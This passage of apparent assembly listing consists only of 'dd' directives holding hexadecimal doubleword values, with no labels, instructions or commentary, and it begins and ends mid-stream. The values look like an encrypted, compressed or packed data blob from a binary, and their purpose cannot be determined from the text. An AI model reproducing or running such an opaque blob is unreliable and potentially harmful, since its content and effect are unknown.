2EB9C500h, 0F1904314h, 0D8E25D6Bh, 0E3165BB8h dd 54522E2Eh, 82B5331Bh, 8873F974h, 0AD28A5AEh, 25D6E33Ah dd 0F17E43DDh, 1CA0FC0Eh, 7E6A20B1h, 0CE7A5E60h, 0F834BA08h dd 0AC374A2Ah, 6208D245h, 0CAD1A788h, 1E966847h, 7C38208Bh dd 9207BD7Ah, 0CD2975F3h, 7634ADC2h, 0CA6B8987h, 9E8499F5h dd 0C7007428h, 0B17E2047h, 681295B8h, 0E8E8753Fh, 0ABEC9BC4h dd 2F936C37h, 0E6973BA1h, 0F7B19298h, 7B16F2E3h, 9600187Fh dd 4D110A5Bh, 0E4D1A043h, 0B3171360h, 0B445FC29h, 25C912AFh dd 0E442E82Ch, 7BDE8DEEh, 0E6011289h, 6600BD92h, 24BF1CF7h dd 1CB37300h, 18035396h, 69E90BC1h, 680332BAh, 7CCB21B9h dd 0F64B15Bh, 0A341AF51h, 51D5237Eh, 513CFF8Dh, 40955B38h dd 0CE1D62A4h, 0EE7F2141h, 0FB7EA62Dh, 0A0FCA759h, 27A55A52h dd 0C7CE9B12h, 0F1505C27h, 2DF4EBCBh, 2E454CE9h, 6772D687h dd 924B9455h, 3960B32Ch, 989DEE18h, 52596679h, 8D10A5D3h dd 535C1872h, 2D22EFB2h, 1D644BC3h, 49B5F292h, 0A43C2971h dd 42802Fh, 9E2832D5h, 14E2765h, 5E680D76h, 0DD527692h dd 9928EF9h, 11B132D7h, 7A6B6585h, 5504F58Bh, 0EF79D72Bh dd 0E8C93404h, 81EF8700h, 3513CFE7h, 0CB0111D3h, 470C4663h dd 9EF0774h, 0A922BC12h, 4D11897Dh, 172C110Bh, 9ACC71F7h dd 9265B553h, 2DC5FF88h, 0A5344840h, 97190C80h, 30D641E0h dd 2CC3C850h, 3BBC554Ah, 7BD34870h, 24510B2Fh, 0EC078E42h dd 0E7C5B1Bh, 0FD3F5011h, 0F16C57DEh, 0C1F1CE64h, 5AA2192h dd 0A9AE11C1h, 12073C23h, 37BEEAD5h, 0A9AC96B2h, 0C81BC1AAh dd 0A1B81E00h, 2D75FB70h, 0BE111D94h, 734940F6h, 83934D29h dd 0E91482B8h, 0E1E7BAE2h, 0DD2F853Dh, 2446ED0Fh, 12B7BF3Dh dd 0E9CBC352h, 273FE120h, 0AE9A82BCh, 0D14CC566h, 3268134Ch dd 0A25204E2h, 8AFBF85Ah, 89A5D621h, 671459AEh, 0C6971C86h dd 0DEE2C101h, 5EF5098Ah, 93ABE76Bh, 7001CF2h, 216DE02Ah dd 0B3A25FFDh, 739F2870h, 0AE7A366h, 50F23471h, 1801E8C1h dd 0F791C831h, 0E93150D1h, 0D13F23D9h, 717A5D6h, 4946DCC9h dd 6A4ACA51h, 0AC71BE00h, 77CF015Ch, 33310256h, 16E91523h dd 0BB073A54h, 8637852Eh, 0A2FEE1A2h, 55B768D9h, 0BFF07F66h dd 9CE3604Ah, 3973BA00h, 2130E953h, 8EEBB9CBh, 415262BBh dd 0F30FE01Bh, 2A2F394Eh, 146D18E0h, 64806E22h, 708E2792h dd 5C644D7Ch, 483523FEh, 0EBD104F4h, 9A4610AFh, 0CF0C789h dd 240B71DEh, 0B2ABC810h, 2CA2957Eh, 38C70299h, 27883B24h dd 56119309h, 0A2B03727h, 1C77C756h, 8EC6BB4Fh, 0BE56A568h dd 4F29CE38h, 0BDD635D3h, 2AED10A2h, 0D9686605h, 1038B253h dd 281F6FCDh, 5289FEF5h, 0ED746B2h, 0FEDD094Ch, 4B2EC82Fh dd 0E891A55Fh, 0A1633ECh, 827441B2h, 4840B818h, 7925517h dd 0E764200h, 96E9F589h, 0BBDBB68Ch, 0A4F9EF96h, 5F1EC307h dd 82C8035Ah, 0C12D0296h, 0A083FD58h, 1403AA06h, 1972480Dh dd 0B980A54Dh, 9B569C68h, 406212DCh, 8012B4DDh, 0C3E644EBh dd 0E4241A7Dh, 60528402h, 9570F8CCh, 4895E26Eh, 80E1F098h dd 0F105815Fh, 59C12184h, 1A6004BBh, 800413B4h, 0F0E2748Bh dd 2D1BADC0h, 7B27E948h, 0C7A7E810h, 67681302h, 0C42EE25Eh dd 3014B1A2h, 3713A91Bh, 6FC5BE2h, 72DA2501h, 2CD40362h dd 375C0073h, 9A58FD35h, 0F4EC4011h, 120C0876h, 9994FBE9h dd 3F341EF5h, 0C8A47DF3h, 312D81EEh, 2A055237h, 4F0173A0h dd 0B209B8F5h, 0A8D9042Ch, 0AF052F5Eh, 0C266498Eh, 48016CB0h dd 7E24E557h, 4F0CC0EDh, 0ACA47C5Ah, 0B1403B4Eh, 2F4CE7CEh dd 17F6EC17h, 70AF810h, 3B5EF3EBh, 0EF0116F8h, 0E90C6507h dd 5E25BB5Ah, 0EA8A9493h, 0CA177631h, 581F3B77h, 52256210h dd 4DD02E6Eh, 6E31E959h, 14BF5380h, 214E8A6Dh, 2B4EF97Ch dd 9647F96h, 690E3DB6h, 7209E5Eh, 0A4925865h, 0AE2C25BAh dd 0E90C29CFh, 0C251DBF2h, 888F6809h, 0C29C77E1h, 0AFBEF8BCh dd 492F7B2Ch, 361F612h, 34E7DFAh, 0F937AFCFh, 4865DA7Fh dd 90CE01F4h, 0F7E7408Ch, 411550B5h, 0C2E16AC4h, 9A311CFCh dd 8E03CB0h, 80965424h, 6FEF2DADh, 0A6B77892h, 4FCB116Dh dd 0A5590666h, 0EB027F6Dh, 0C3C2EDFh, 7AC7D559h, 5022E90Bh dd 0E8203B62h, 9689A3ACh, 370AF5Ch, 0E14ABB53h, 0C02B7221h dd 0E9F02996h, 520A872Dh, 31CD7888h, 0E7CBD063h, 0F8C07008h dd 2D05671Fh, 5F833689h, 0BF571590h, 0A310940Dh, 64A02F2Eh dd 1AC225A1h, 0CE580EF6h, 0B5E47B6Ah, 86D21F0Ch, 3C3A1D0Ch dd 18750E4Bh, 0FA6D9505h, 0DA306B28h, 0E0C0C78h, 0A8035BECh dd 0E894606Ch, 0BF49F306h, 0B8E99502h, 685AFE68h, 0F6544720h dd 0C8A24F92h, 0BA2D52BCh, 0F2967031h, 0B5E1BDD6h, 91F1AA5Ch dd 2DE031B7h, 810BCD55h, 0A82A953Ch, 68550021h, 5B0910D5h dd 60EDF75Dh, 2F13B385h, 0B34142C3h, 93F91935h, 20BEF52Eh dd 7D134727h, 7084411Ah, 0E23652EAh, 72F527F6h, 7FC14C8Ah dd 0BDE3804Ah, 532F5B13h, 0E430F23Ah, 7D5B9AFh, 29640963h dd 696827B0h, 4731184Ah, 2803E371h, 1AF1C2A4h, 0F8814404h dd 0F3E8CBFEh, 2E96837h, 0E8C8A7B2h, 56120F7Eh, 34FE5E65h dd 996C212h, 61A4B57Ah dd 974AB6F6h, 0E990FCE2h, 0C413B25Fh, 2DA913E9h, 1AD9F100h dd 0BD550F49h, 0EB6B81Dh, 0ACF7E9C4h, 859B45BAh, 30B30353h dd 0D4995BDAh, 0E9E1D85Ah, 102975Bh, 0A92F1868h, 83A7897Dh dd 0C8191D16h, 5DE95EF1h, 24505A0Eh, 0B30F5A14h, 0AD7415ADh dd 96D83FC1h, 94626766h, 738B5777h, 7D47B257h, 6610D59Eh dd 0AE14C83Bh, 0D7818B6Bh, 824B4F32h, 847571E6h, 4A42582Ch dd 0B6251740h, 0B951C095h, 4BE22220h, 248DF109h, 0BB05BC73h dd 59CF29C3h, 3A7D413h, 5352BE00h, 0E8E96761h, 7B301941h dd 0FD7A0125h, 52D2053Fh, 980230EAh, 0D6966812h, 45B1CB02h dd 71C07DF7h, 802DE950h, 5BA944D4h, 2B14A5C6h, 97E1FF3h dd 9DCBE9EEh, 8AA09854h, 9A032E09h, 0F3D1001Ch, 913C8030h dd 0F180281h, 0C9DE548Eh, 8B26885h, 825EE336h, 5E9EA912h dd 59080B1Fh, 5090FE0Fh, 60B05BBh, 8969F407h, 131D136h dd 0DC5FCFA2h, 80013189h, 16709412h, 16EE811Eh, 4AA797Ah dd 40FC4E0Bh, 0B50749C3h, 0FAA9B01Ch, 1B896170h, 713A1BCAh dd 0D8B7EC6Ch, 9E0CC95h, 392467C0h, 766BADC0h, 0ECC8012Fh dd 3B584C71h, 0D9F71309h, 1085B180h, 0F5A02533h, 5806F01Ah dd 5FF909FBh, 7A62091Eh, 80C21124h, 678C8601h, 3AD730A0h dd 0D37FD34Ch, 0E9A150ADh, 4F826C79h, 9248608Bh, 3BF30E10h dd 600D2551h, 3814503h, 31D3EBEDh, 0C7AC09A4h, 0CD9D805Bh dd 32B2AD6Fh, 9BFDE924h, 1CD9318Bh, 0D27720E4h, 8503E095h dd 0E4914B48h, 68065300h, 41566DD1h, 8D35204Ch, 503E0CC9h dd 0A8584ED4h, 4BFFA768h, 62F5F423h, 9CF5DCF8h, 0A2564BDBh dd 0E7F68430h, 0B934E69Ch, 0EA2B888Ch, 0E641590Eh, 7D360D14h dd 0B5202054h, 0F2EF63B7h, 50DAFAB2h, 9D559FEDh, 0BE166FD1h dd 8900B7ADh, 0EB055EF5h, 490A624Fh, 72DE829h, 266A6827h dd 0DFD99F2Ah, 85FFDCC9h, 997D7C68h, 68C029B8h, 0F44B6262h dd 0FA5D44F5h, 340AA83Dh, 50D6924Fh, 61B0274Ch, 3342F25Fh dd 890638D0h, 695B04CCh, 3410CEAFh, 920B4352h, 507B64C1h dd 5C23A451h, 0E394B5ACh, 8D7B9A16h, 7352E4F0h, 0DEC109ABh dd 50A2747Ah, 301DB409h, 0CD96DDE6h, 8A275490h, 0C6B62126h dd 0B43AC879h, 92256836h, 2AB4182Dh, 0A43C7223h, 0E7C2B75Eh dd 51E4827Fh, 0C60809D9h, 89B818EFh, 2D5FD829h, 4321F4D5h dd 0B32A06CBh, 0EA8004D2h, 0FBD309Dh, 6B68B14Fh, 60D25EE3h dd 569D68DEh, 132DE697h, 0AD7DE9E2h, 45F01316h, 34128CB3h dd 0AAE32Dh, 180F465Ch, 4AD9E94Fh, 4A3CCA95h, 0F84AF9ECh dd 5D5CA2AAh, 510924C6h, 0FD658168h, 2E888CB0h, 16B4084Ch dd 0ABDD6E8Dh, 9E1E802h, 7FFB8549h, 8649D50Bh, 4EDABD96h dd 0C97FF11Dh, 80F170E9h, 2C218C41h, 69842423h, 0E5C102E7h dd 5BBCE305h, 64AF00Ah, 0DDBE6517h, 0FEE99202h, 8902D9F8h dd 87125455h, 0DFE0F12Bh, 0DD5D86E9h, 0E5810079h, 26562B48h dd 585ED84Dh, 0AB27D2C0h, 474D1DBh, 82C8310Ah, 1E8E4B33h dd 0BEA063C5h, 98F0D529h, 0B8BECF1Fh, 0F816BB32h, 8DF24FFh dd 0E8250D8Bh, 0BFAF93DFh, 0C12AE630h, 40021EB9h, 0C01DA81Eh dd 2527C84Fh, 0EDD0028Ah, 9C85B327h, 25CFFD8Ch, 0CED84A11h dd 1122F41Fh, 73D408A0h, 0EC000ABDh, 3144C7CDh, 97D2C9D3h dd 0BB1C9258h, 4DDE2765h, 0E6E4EC8Bh, 13E52EB7h, 7D4F414Ch dd 0F16360DCh, 1235AC09h, 0EC53D01Eh, 0F20B04C7h, 0AA2EE91Dh dd 0B4680547h, 138CEDBAh, 19CEC1A1h, 0BA9F3F18h, 0F10B4038h dd 1A1EEABFh, 96F92D2Ah, 0AC0A65F4h, 59120705h, 0E1EDB493h dd 5FD98D2Ch, 85C9CA7Eh, 1DE4D25Ch, 20C341B4h, 0A29D1FECh dd 0E8C6895Ch, 4E21581Ch, 0BF5834D8h, 0A048BBCAh, 0AB2CFA96h dd 0FB208401h, 45665A14h, 3757914Fh, 0FABBC1DBh, 0C383D013h dd 0EFE90112h, 0B26EBFA1h, 90219249h, 2397667Bh, 70CF5B9h dd 1A83D292h, 0A858A17Fh, 489CCFEh, 77DB252h, 0CAA008D2h dd 0BDFA4AE9h, 0C30E262Eh, 0FBE26887h, 0D8B58448h, 0E92836C2h dd 8B22776Bh, 8FFD5BDEh, 3D75E3F9h, 84F6B00Eh, 9E0D3E7Ah dd 3C15C50Fh, 0F5016FE2h, 908D088h, 0A1202FE9h, 0C780D7F6h dd 67CFCCE9h, 0C44BB4B0h, 7EB63BC8h, 27D67CDAh, 0AB5EE7DFh dd 26CF62h, 6806E3C1h, 6BF3AB5Ah, 43D8805Fh, 3CED276Ch dd 4570094Ch, 0B68B84E8h, 0F1804AD0h, 0E4BAFCF2h, 6D0439ACh dd 1D28AB12h, 9EF23724h, 0CE060EF6h, 7832B2D7h, 7F6BB52Ch dd 0D3545078h, 0F58AE1AEh, 0B8B3F3Ch, 2D9DF68h, 77466C23h dd 24036E55h, 1B804908h, 0D8401E6Fh, 954FE4D5h, 68E166FDh dd 846E2D18h, 31C8CAFh, 92C5BF8h, 74BC1AD1h, 0CD4A2974h dd 6CECC2B1h, 5D16C9F1h, 0C6683131h, 5D1F1A57h, 6F29AD69h dd 37E008CDh, 0D210CB65h, 77BE2448h, 529793A6h, 521F9CB1h dd 41DE2C60h, 0BE70CA01h, 0CC6E268Eh, 0DDB12Ah, 0F3153492h dd 69BB009Dh, 3C0C8C0Fh, 0EE28CE29h, 0D3B99008h, 0C921FFE9h dd 0C212B6A6h, 92BDEB74h, 14B564E3h, 5A30F22Eh, 56389Ch dd 1B2A9EBEh, 97D9B905h, 0E92F5E0Bh, 0A0BCD89Fh, 1F34CE7Dh dd 1531756Fh, 0B04B879Dh, 4D3D336h, 0C97F7D80h, 808B4E1Fh dd 42062DACh, 89103A2Fh, 29F848Eh, 0A1E95742h, 3C9AFA78h dd 0CABDCCF0h, 17C7470h, 0F218E4EBh, 1DBFF833h, 0D4A59FB6h dd 0DAC340D6h, 7450847Dh, 123C3BACh, 0C895CBEh, 0BAF3D814h dd 2BC02C3h, 0D6E92556h, 89752DEAh, 0D3332F39h, 0E64E37B8h dd 0B8525BCEh, 0A4F864AFh, 7B95020Fh, 0A84E8879h, 6252D12Fh dd 21F48D0Fh, 84B11E8h, 5E302917h, 5C626FE1h, 0C227C452h dd 123CCF79h, 26A28250h, 9C412678h, 80DA892Eh, 6E538FF5h dd 0ED10FC8h, 45AA2C1h, 0C1F44234h, 58766A19h, 5162772Dh dd 97DA9E75h, 0B2F71010h, 0F22D36BBh, 8D0A2DAAh, 0B9BF6967h dd 0D3A55818h, 7B23B804h, 0BA55A498h, 0A289B70Eh, 0F80B1DFCh dd 865194h, 0CB80F9B3h, 3B8F685h, 0F46B7E20h, 3B317DCEh dd 5B7E34C6h, 0A42AA033h, 5864079Dh, 0F50E3E62h, 5DBAC79Ch dd 1950505h, 93C277C4h, 0D1D2096Eh, 6672921Ch, 3388F467h dd 0E82608A2h, 35123C54h, 57F99B02h, 0CE696041h, 476512F0h dd 0EE3A0079h, 49BA7823h, 1871D89Dh, 0B9A670E9h, 3005E2C4h dd 0C22C58E3h, 7D74D0FCh, 46C3245Bh, 0CF252475h, 0B2797204h dd 69BD4B12h, 0E1F75CB0h, 0EF20DBB8h, 4C2D5BE5h, 87505E96h dd 64259490h, 20125878h, 5C5A7A44h, 0B7EEA6D8h, 0A2BD1216h dd 5EEEB350h, 9B9562F1h, 58C20101h, 0BB0DC53Eh, 14331406h dd 0BD0F7023h, 6665CBF1h, 628D2B04h, 0E8E38100h, 5776C576h dd 346ACB01h, 48E92EDEh, 0B6505824h, 0E9755ACBh, 0C3C561Ah dd 508BED5Eh, 8F9AAA05h, 0D8C1FF8Bh, 10326ED7h, 4ADCFC52h dd 7CCE05CDh, 0D3168207h, 31960160h, 0E9273078h, 0BB5340D4h dd 1D3E2793h, 5F1D1EF4h, 3C48B14Ch, 24070079h, 6E0CBDBCh dd 310577AFh, 0ED7FE9DDh, 5DFFCA53h, 5FD44059h, 315D5263h dd 0A5E9C339h, 68FC96Ah, 17351620h, 0B8E38853h, 202758C7h dd 6B52F8DBh, 0DF2F8025h, 0B4DEB9A9h, 0D1C2B66Dh, 20620A9h dd 2989C101h, 0D1525D59h, 6C8DE52Fh, 9EABF4E2h, 215D0535h dd 5AEE8BF8h, 0FC5AAEACh, 289A185Dh, 0D7875437h, 6925FDE5h dd 0D2A4983Ah, 8E558285h, 71C86922h, 0E809481Eh, 52362E8Eh dd 12FF9C55h, 61A51BE9h dd 199CEA0h, 8540E589h, 0A0BC0F43h, 171AE1F4h, 0E2D4A57h dd 0C306D03Fh, 0BF3F0C1Bh, 0A540A462h, 0BA4A8422h, 0C14E94F9h dd 5BC5368h, 0BDEE1D0Ah, 0ABEF688Bh, 931904CDh, 6121CC1Fh dd 0F439880Ah, 92E5BA51h, 4C1F59EFh, 800DE7D0h, 553666C5h dd 4275BE4Ch, 0A4C840BAh, 16DAA60h, 0C407446h, 1D9BD5Eh dd 0BF7F1469h, 0E49FA81Eh, 80642054h, 48E67ABDh, 273E2935h dd 41AA42A6h, 0C5647CC2h, 1B0C8033h, 31E11C1Eh, 4AE976D1h dd 97EAE2BFh, 65BA1E34h, 2313FFDBh, 76688220h, 0A37EE157h dd 24AA93F2h, 0BC8EBA60h, 1D606910h, 3589C1BEh, 6D3EDE3Fh dd 42807FE2h, 48C132A6h, 0AA209DBBh, 40733505h, 0CD163E2Eh dd 5A58CF80h, 0E090B730h, 2C0EEAB2h, 0DB0401h, 0E95153D0h dd 50F1C20Bh, 8EDDB1B4h, 59007297h, 0F480DCF6h, 564EB079h dd 0B009ABAEh, 210265A6h, 9A3D8h, 37D40426h, 0C0537703h dd 712DFAAEh, 4D905964h, 0A75B0781h, 2D7752C4h, 5E0915E9h dd 0E708CFD6h, 0D40005Fh, 37DC5BABh, 4F3C9690h, 5C0A2F31h dd 12E0C968h, 0AE9E1258h, 50B25744h, 0FED6ED7Dh, 7D8E82F4h dd 476046A2h, 0D19D1D73h, 96C34340h, 0A040BE82h, 7582EC25h dd 123FE645h, 64EDF556h, 1F721FC4h, 0D0C585DAh, 68ADFA6Dh dd 8B92F94h, 52387341h, 316D30FCh, 5D5822BFh, 8006AC10h dd 8C1ED034h, 51F4F254h, 8843B50Fh, 0C59244ECh, 3029D9BEh dd 2D808FB9h, 3D091227h, 0B005E82Ah, 9FF406C9h, 5525D2C0h dd 9B6B7728h, 0F387C435h, 0A85E93ACh, 6E169EF4h, 0AC79AB97h dd 5ACA281Ah, 0F3A9AC59h, 56EBDDE9h, 4FEAB886h, 3A2DA1F2h dd 0DAE2E748h, 21BE5C19h, 0D8D08072h, 814A4A18h, 6BFD7134h dd 0E84259C4h, 0C1028F64h, 55005E66h, 723A6866h, 0B5D3B1Fh dd 84945FB9h, 28CBE97Dh, 31C1EE7Ch, 2E0B317Bh, 0F057E97Fh dd 40D6FEBFh, 791333E8h, 26E0B96Dh, 2F0312EAh, 0F175831Ah dd 0BB9EDE9Ch, 2A5C07F3h, 0ED816F10h, 6A0C6802h, 80FCD94h dd 4322645Bh, 93FF31FBh, 405402E1h, 0B3C08850h, 0DE933CE9h dd 8405F982h, 7D440BA1h, 4A420080h, 17EBCA81h, 5030C90Fh dd 99049BF3h, 87409461h, 7E5B2D6h, 0D43DA3C8h, 20B1094Eh dd 5F317264h, 0E072A8D0h, 97A6C1E9h, 8183EB9h, 2DC0A814h dd 5F351251h, 0D8B4E121h, 7213F524h, 0A140509Fh, 15E10A6Eh dd 0A3EFF05Fh, 78E61307h, 0F039BF13h, 0D25DE4F8h, 80B8CD60h dd 0C514710Ch, 0A8C821CEh, 32505998h, 5E2557E9h, 0A4BF7845h dd 0FCA7B036h, 2C133C66h, 3B5FC9ECh, 207F0736h, 0BD7447h dd 0CE3EF1Ch, 511F4896h, 513B2002h, 8855291Bh, 5F120800h dd 2AF51620h, 0C6605049h, 0DC5C15D6h, 0A24BB80Ch, 8491C47Eh dd 8B68AD01h, 0A7CC2B58h, 0CC839D6Fh, 0BEA8CA0Dh, 0A7072556h dd 2D383F52h, 80E05AA0h, 30E24DE9h, 0F6E0174Ch, 49132898h dd 0B1C45669h, 0EBAF95FFh, 0A33CFB21h, 85B0905h, 0EA9B780h dd 3FFC6E43h, 0FFB4924Bh, 55C94967h, 4128FE96h, 3FE12D68h dd 7D6F70B1h, 0C4B0120Ch, 76A5551Dh, 0F085DA79h, 5B41A8D5h dd 6BA4B935h, 3F11412Fh, 0E4D54FB0h, 2F597CE8h, 6E5215F8h dd 15D99020h, 0B5366C68h, 0B401F52Dh, 3008E1C1h, 23008DB1h dd 35402FB3h, 0E81056D7h, 2DC79083h, 3F055DE9h, 61F88052h dd 18123A02h, 298AFA89h, 517FD4Ah, 0E7C5FD9Ah, 5AC6E8C8h dd 0D913BD64h, 1697BEC0h, 0A4A49731h, 2512BB38h, 4BD85AB7h dd 669D9768h, 2454509Ch, 2DE5A855h, 138000Ah, 47112570h dd 51E527Eh, 0E6C02F65h, 60E9C289h, 5144A0ADh, 1C90B050h dd 890D585Dh, 1753C189h, 66BBBA0Eh, 16EE5DB7h, 926CF4E9h dd 0AC10783h, 0AC0004AAh, 6ADB2952h, 2E710B35h, 5A784C9Eh dd 405ED14Dh, 0BF407ED1h, 0BFDD6189h, 3E502E68h, 654B7F8Fh dd 77D48217h, 5BCEA50Eh, 0DB8A27AFh, 0CB54376h, 5B4F49BAh dd 2D6387DEh, 0D648815h, 0A7BB0053h, 812F8626h, 40034FE3h dd 0DAE93B4Dh, 0EBE113AEh, 7FF70106h, 687D5AC7h, 2E7A0718h dd 0EBD0742Ch, 91176C0h, 0D5C8E942h, 5D0F4FF2h, 6B4F0A5Ah dd 0EB2591A6h, 48DC3082h, 0A8F44745h, 7014556Bh, 0C6BD9B98h dd 0E95A6713h, 0EBC56255h, 2A326EFAh, 75C675BCh, 0DA51A210h dd 0C14698B5h, 4D0C7CE8h, 0B95F3833h, 17BAD7C1h, 0C229AEE1h dd 95F5C960h, 4F35F146h, 27EFCF8Eh, 0F10AB54Ch, 0C96C28EAh dd 41B88829h, 44B06825h, 5E23224Eh, 0AD9EE977h, 6DBD8422h dd 8AE90562h, 0C19DD0B1h, 12FA5B58h, 0AC0802B7h, 35762B28h dd 17C4408h, 7B08CABAh, 0E7966019h, 0FE56772Ch, 904E21Dh dd 0DE8858FCh, 83F619B5h, 7BC190A7h, 8E070499h, 32CEE10Eh dd 616C7BE9h, 133B680Ch, 0A34AEE9Bh, 0B98589F3h, 0FF081628h dd 0E5D2641h, 0FAC5017Fh, 6B2D96Ah, 2909260Dh, 0D45A7E6Ah dd 9808A0B0h, 324ABDh, 9B7BD8B1h, 35515842h, 0D1D97A06h dd 342E6CD5h, 19581A5h, 0B85D7EA7h, 0D14585D3h, 4BBD6F6h dd 0C9E84839h, 0A03D41DAh, 83D805A8h, 0F8F15BF6h, 7FF4C56Bh dd 19A746F5h, 0FC08BAF9h, 0B2BD0259h, 4540EA48h, 4807881h dd 74D0E08Ah, 69DCF62Ch, 51D116ECh, 96E9DD93h, 0D3E9FDC1h dd 0B2480310h, 0BA95C819h, 0C7510006h, 0C2F28169h, 7EF518A2h dd 0E4719EF1h, 5BD4CB6Eh, 0A684B5EDh, 7E488D59h, 0E98496B3h dd 5E12A0FBh, 0BBD6F2EDh, 0FB02562Dh, 1AF0485h, 0ED8101C4h dd 0B1F8DE16h, 5DE81A09h, 14DDD653h, 4F29847Dh, 0CE762657h dd 6E04CCFAh, 0FB0119EFh, 81F2FC4h, 0A3F293EDh, 5032760Dh dd 40CD7409h, 30E15AE1h, 6D5D47CFh, 9D92DE23h, 8EC28650h dd 58CA5E50h, 281B7CEh, 2979981Ah, 0B40E1F3Bh, 0CFCFAB3Ch dd 19401558h, 0D4E92A5Fh, 0F7431785h, 8E5AB9D3h, 1ACC81A4h dd 0A99745E9h, 0BFC188BBh, 0F639A709h, 0DEBCD006h, 99428E5Ah dd 1A042456h, 170F0C08h, 0D0DD1665h, 5BE305B8h, 959F8379h dd 20A62A2Ch, 29048828h, 794D68F3h, 1F96F498h, 0D549AD53h dd 5EC97ECBh, 99D5DC82h, 0E4EFF60Bh, 0E9709853h, 2697C9F0h dd 22E56B6h, 816CC021h, 934226EEh, 9AAB3C82h, 4EA7BA00h dd 7B084828h, 0C20DA334h, 0BF00F5D2h, 16635E03h, 0E7C141h dd 0FEAC78Dh, 6095F4E5h, 0F76EE959h, 0BDDD202Ah, 3C7149D6h dd 0E25BF8A3h, 5194F741h, 9D605F81h, 5ACB1765h, 13F6B8FDh dd 1E0BC501h, 49135685h, 0A650D489h, 0B4C95C5Fh, 940DEDECh dd 0A1EC6475h, 0D2E22FE1h, 0E14283B2h, 0E8C28FDEh, 8F5D09EDh dd 10DB0560h, 0AB41ADA5h, 5200A98Dh, 0C2F0CBB2h, 37F9FD4Bh dd 1DB951C0h, 50B5EA5Fh, 15839E23h, 52D915Eh, 0E801DEC8h dd 7FE72490h, 9F89834h, 15038D9Fh, 0E4C9557Fh, 8F505FE3h dd 0EFD675EFh, 0C08D2CFAh, 0EB755D4Eh, 0C6C850AEh, 0DD720B12h dd 0C475CACCh, 5D4769FCh, 0D6272A56h, 0BAFD3DE0h, 0F7315412h dd 3AB341EAh, 0F1E8DD13h, 0EBFD084h, 71F5C551h, 12662CC8h dd 586E1Bh, 174D301h, 0B72EE96Ah, 0BB600DE2h, 90D2466Dh dd 8BAB20B3h, 9E5A13A2h, 52DEE0BFh, 59EFB5F8h, 0EB685F04h dd 5069CEAAh, 2770F35Dh, 0DBA5094Fh, 575E0802h, 0F9E12823h dd 5EE9976h, 0D4C32B9Fh, 9EE1CFEh, 0A6060734h, 42B50DEAh dd 10CAD397h, 959019D1h, 9C42E03Fh, 202CD2BDh, 709D864Bh dd 36B20483h, 83526C85h, 0E55A90A6h, 4A517E01h, 0A2F41884h dd 0F3ADB2BBh, 0BA256DDDh dd 882D3679h, 0E2D1A260h, 0F4C5F0B5h, 5DB2AA67h, 680436CFh dd 179132EAh, 322E98CAh, 27C75C2h, 5EEA5627h, 5A2770BFh dd 4652C20Bh, 48BA68FDh, 1F59203Ch, 0DAA90A04h, 438109E5h dd 0B255BDE9h, 828B2885h, 7065A7Ah, 63E7BB20h, 7ED1D70Bh dd 51376982h, 0D0BF20C4h, 1B043BF7h, 0D4BF5AE9h, 0CBA3C5AEh dd 0FDE90991h, 522C7CF2h, 0CB407FD4h, 7B9F42A1h, 0D102514h dd 0AF428D79h, 87290455h, 0C7A83998h, 7EA73D81h, 0E0F58B12h dd 1B75F5A0h, 0A658517Ah, 842880DCh, 15BBB0Dh, 12CD42B4h dd 6DF2022h, 0C5DB4EBCh, 8B9FBB5h, 873019B3h, 3A14212Dh dd 0A0B968D5h, 0D82D1BAh, 75A46D59h, 6A30777Ch, 0B0162F71h dd 4BF60403h, 8047D979h, 0CF5E99CFh, 4E264159h, 5E9777B0h dd 6B649DB1h, 0A9875D04h, 296677AAh, 3B446754h, 8D5F73ECh dd 7E37A5Fh, 5B580476h, 0F906C6E9h, 92FED191h, 0B9CBB08h dd 54745B56h, 28086C2h, 5D64315Ch, 4454EA2Fh, 358C7E50h dd 0A80F649Fh, 64AD9F4Ah, 0C0589057h, 0C104AC35h, 0FB03B353h dd 0F380DBF6h, 39063B5Ch, 1761E318h, 77B8D7EBh, 3C045B19h dd 68D02C0Ah, 0C8614B62h, 0C90BB29Eh, 66AEDEE9h, 8805BEF2h dd 1724A449h, 9368209h, 394C748Ch, 4468C384h, 0C061FC1Bh dd 768D6B59h, 8B2D0058h, 5136726h, 27482B3Eh, 0E4FB1074h dd 2C26404Ch, 0D5F9473Fh, 9A04219h, 0BFC859CDh, 544E9630h dd 5FCBA7C7h, 0CD80C732h, 1BB33A63h, 6759B7h, 6EF5E271h dd 6898F831h, 0ED5CE540h, 689FA1E6h, 0E77A5912h, 72AA4A1Ch dd 0D8E973DCh, 8B162F5Eh, 0A0A4F7E8h, 6637640Dh, 630DDC89h dd 4CACE32Eh, 4A0C20CFh, 0B93521BAh, 97BB2DC3h, 0B62FE1A5h dd 4A680C3Dh, 56F03546h, 0CB4CD16Bh, 4860C04Eh, 40B5E0C1h dd 9F9D13DAh, 444681A0h, 0DAB52C33h, 17088347h, 0AC146F1Ch dd 0CB93272Ah, 91DDB4A4h, 0B5D6DDF8h, 0ADB881AEh, 310B665Ch dd 1B70FC3h, 6BE468A7h, 7D10212Eh, 0A6F71053h, 0F0AB4A09h dd 3216486Ch, 20013FF0h, 7310B976h, 5F86C17Fh, 78B015B4h dd 0EB43D25Ch, 7C82FE69h, 229968C8h, 16D68FA2h, 20923266h dd 9D4D78B5h, 791D3969h, 5BA0E8Ch, 0FF218B67h, 702ECA99h dd 0F340A19Eh, 6A2B0B2Dh, 0F006BDC5h, 7AB51590h, 4E78F47Ch dd 0A272E89Eh, 82275FEh, 0A5C652FAh, 1AC72027h, 0ECD0414Ch dd 208FC92Fh, 0F2825ECDh, 175C4F2Bh, 0A049F852h, 0A8FC5BE9h dd 0DDD30198h, 0E8D813C0h, 0C0F38B34h, 39E6C0A0h, 0CD818005h dd 0F638B450h, 0CEECE0D4h, 515D0197h, 0C3DAF4B1h, 0D5C1E15Ah dd 91AC6CD4h, 49CB0221h, 0A121D6Dh, 0FCC9C408h, 92087A49h dd 58F79B82h, 57037ADAh, 0C36FF0BFh, 8A2CB803h, 0C3C85DA4h dd 3B2679A3h, 0A4000029h, 2D4E6576h, 0A82502E7h, 9C12E945h dd 9504B6E4h, 314F1150h, 642213FFh, 28E8F376h, 5A611535h dd 0F18EB38h, 16896864h, 4051D077h, 7C31EEFCh, 10C27184h dd 560C58E9h, 157983CEh, 0EDB034D4h, 0F92D3729h, 82687487h dd 3C530B96h, 720EDDCh, 5AC85D48h, 0B9F5F2B8h, 78ECCB8Bh dd 0E2C11E31h, 0CD4A0906h, 0CAFE9C49h, 0A5946348h, 0FD2BBFh dd 32AE2EBh, 8350DD2Eh, 65F6A66h, 0CA52F0E7h, 4BEAA6Fh dd 1FE4C388h, 6951A788h, 